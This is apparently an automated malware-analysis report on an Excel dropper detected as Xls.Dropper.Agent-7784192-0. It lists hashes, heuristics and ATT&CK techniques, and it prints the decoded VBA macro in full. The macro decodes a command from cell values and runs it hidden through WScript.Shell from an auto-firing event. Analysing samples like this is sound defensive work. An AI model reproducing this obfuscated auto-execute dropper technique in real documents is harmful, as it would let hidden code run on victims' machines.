Xls.Dropper.Agent-7784192-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 97defc4fa68d6d3d…

MALICIOUS

Office (OLE)

75.0 KB Created: 2020-05-11 08:22:07 First seen: 2020-09-07
MD5: fd3b1cd95c2f1c8cc686100d34c8bee8 SHA-1: af3838fdac03ad0f5cfe9ef61eee0f3dfccc1ab3 SHA-256: 97defc4fa68d6d3d76226b2ab02c8c3c0544b4d035083057b52d101f5884cbf1
222 Risk Score

Malware Insights

Xls.Dropper.Agent-7784192-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains VBA macros that utilize WScript.Shell and CreateObject to execute commands. The macro attempts to construct a command string from constants and then execute it using the Shell() function, likely to download and run a second-stage payload. The ClamAV detection name 'Xls.Dropper.Agent-7784192-0' further supports its dropper functionality.

Heuristics 6

  • ClamAV: Xls.Dropper.Agent-7784192-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7784192-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Private Sub rowss_Layout(ByVal Index As Long)
    On Error Resume Next: For Each h In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): g = 0: t = t + Chr(h + 1): Next h: WScript.Quit = ("" & CreateObject(("WScript.Shell")).Run(t, g, (g))): WScript.Quit: With ActiveSheet: .Protect: End With: Application.Wait (Now + TimeValue("0:00:05")): ActiveWorkbook.Close True: End
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Private Sub rowss_Layout(ByVal Index As Long)
    On Error Resume Next: For Each h In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): g = 0: t = t + Chr(h + 1): Next h: WScript.Quit = ("" & CreateObject(("WScript.Shell")).Run(t, g, (g))): WScript.Quit: With ActiveSheet: .Protect: End With: Application.Wait (Now + TimeValue("0:00:05")): ActiveWorkbook.Close True: End
    End Sub
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1171 bytes
SHA-256: 7b476268f8aa943e3ead458264139ff8b2eaf773af6518da0cb199446767deb8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "rowss, 1, 0, MSForms, MultiPage"
Attribute VB_Control = "details1, 2, 1, MSForms, CommandButton"
Private Sub details1_Click()
rowss_Layout
End Sub
Private Sub rowss_Layout(ByVal Index As Long)
On Error Resume Next: For Each h In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): g = 0: t = t + Chr(h + 1): Next h: WScript.Quit = ("" & CreateObject(("WScript.Shell")).Run(t, g, (g))): WScript.Quit: With ActiveSheet: .Protect: End With: Application.Wait (Now + TimeValue("0:00:05")): ActiveWorkbook.Close True: End
End Sub